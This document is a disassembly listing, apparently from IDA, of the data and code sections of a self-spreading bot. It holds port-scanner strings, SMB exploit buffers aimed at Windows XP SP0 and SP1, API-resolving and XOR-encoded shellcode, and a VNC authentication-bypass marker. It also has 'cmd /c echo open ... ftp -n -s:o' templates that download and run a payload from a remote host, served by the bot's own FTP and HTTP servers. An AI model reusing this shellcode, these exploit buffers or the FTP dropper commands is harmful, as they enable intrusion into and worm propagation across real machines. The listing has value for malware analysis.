unk_4319B0	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4319E0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431A14	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431A48	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431A7C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431AA4	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431ADC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431B1C	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431B54	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431B88	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431BBC	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_431C70	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_431C78	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_431C7C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_431C84	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_431D0C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_431D3C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_431D48	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_431D94	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_431DD8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_431ED4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_431EEA
		mov	[esi+8], eax
		call	sub_431E9D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_431EEA
		mov	[esi+0Ch], eax
		call	sub_431E4F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_431EEA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_431DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_431E4F	proc near		; CODE XREF: sub_431DD8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_431E78
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_431E4F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E78	proc near		; CODE XREF: sub_431E4F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_431E87:				; CODE XREF: sub_431E78+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_431E94
		inc	ebx
		jmp	short loc_431E87
; ---------------------------------------------------------------------------

loc_431E94:				; CODE XREF: sub_431E78+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_431E78	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431E9D	proc near		; CODE XREF: sub_431DD8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_431EB5:				; CODE XREF: sub_431E9D+1Ej
		cmp	[ecx], ebx
		jz	short loc_431EBD
		mov	ecx, [ecx]
		jmp	short loc_431EB5
; ---------------------------------------------------------------------------

loc_431EBD:				; CODE XREF: sub_431E9D+1Aj
		mov	edx, edi

loc_431EBF:				; CODE XREF: sub_431E9D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_431EC9
		mov	edx, [edx+4]
		jmp	short loc_431EBF
; ---------------------------------------------------------------------------

loc_431EC9:				; CODE XREF: sub_431E9D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_431E9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_431ED4	proc near		; CODE XREF: sub_431DD8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_431ED4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431EEA	proc near		; CODE XREF: sub_431DD8+16p
					; sub_431DD8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_431F00:				; CODE XREF: sub_431EEA+33j
		jecxz	short loc_431F3A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_431F0D:				; CODE XREF: sub_431EEA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_431F19
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_431F0D
; ---------------------------------------------------------------------------

loc_431F19:				; CODE XREF: sub_431EEA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_431F00
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_431F3A:				; CODE XREF: sub_431EEA:loc_431F00j
					; sub_431EEA:loc_431F3Aj
		jmp	short loc_431F3A
sub_431EEA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_431F40	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_431F92
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_431F5D:				; CODE XREF: sub_431F40+38j
		jecxz	short loc_431F8D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_431F68:				; CODE XREF: sub_431F40+32j
		lodsb
		test	al, al
		jz	short loc_431F74
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_431F68
; ---------------------------------------------------------------------------

loc_431F74:				; CODE XREF: sub_431F40+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_431F5D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_431F8D:				; CODE XREF: sub_431F40:loc_431F5Dj
		mov	[esp+arg_0], ebx
		retn
sub_431F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_431F92	proc near		; CODE XREF: sub_431F40+7p

; FUNCTION CHUNK AT 00431FCA SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_431FAB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_431FB6
; ---------------------------------------------------------------------------

loc_431FAB:				; CODE XREF: sub_431F92+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_431FB6:				; CODE XREF: sub_431F92+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_431FCA
sub_431F92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431FBD	proc near		; CODE XREF: sub_431F92:loc_431FCAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_431FBD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_431F92

loc_431FCA:				; CODE XREF: sub_431F92+29j
		call	sub_431FBD

loc_431FCF:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_431F92
; ---------------------------------------------------------------------------
		dw 0
dword_431FD4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_431FE0	dd 30h			; DATA XREF: sub_40CADA+2CAo
dword_431FE4	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_431FE8	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 4

loc_431FF4:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_431FFC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_431FFC	dd 0			; CODE XREF: ___:loc_431FF4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 8
dword_432068	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------

loc_432074:				; CODE XREF: ___:0043207Ej
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_432074
		inc	edi
		jz	short loc_4320BB
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4320E3
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_4320BB:				; CODE XREF: ___:00432081j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_43211A+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_4320E0:				; CODE XREF: ___:0043210Dj
		xor	[esi-25h], bl

loc_4320E3:				; CODE XREF: ___:00432089j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_4320FC:				; CODE XREF: ___:0043212Fj
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4320E0
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_43211A:				; CODE XREF: ___:004320C1j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_4321A6
		jo	short loc_4320FC
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_43213D+1
		add	bl, [edi]

loc_43213D:				; CODE XREF: ___:00432139j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_432152+2
		cmp	ch, bh
		dec	edx

loc_432152:				; CODE XREF: ___:0043214Dj
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_4321A6:				; CODE XREF: ___:0043212Dj
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_43222C
		sub	al, 0BCh
		jmp	near ptr 5445259Ah
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_4321C8	dd 0EFFFC481h, 44FFFFh,	432214h	; DATA XREF: ___:0040DC32o
dword_4321D4	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_4321D8	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_4321DC	dd 258h			; DATA XREF: ___:0040DC28r
byte_4321E0	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_4321F8	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321E4o
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_43222C:				; CODE XREF: ___:004321B0j
		push	eax
		xor	al, 29h

loc_43222F:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 8
dword_432238	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_43224C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_4322F4	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
dword_432304	dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 4
word_433538	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_43353C	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00437CA0o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00437CACo
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_433824	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43384C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A6C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433AA4	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
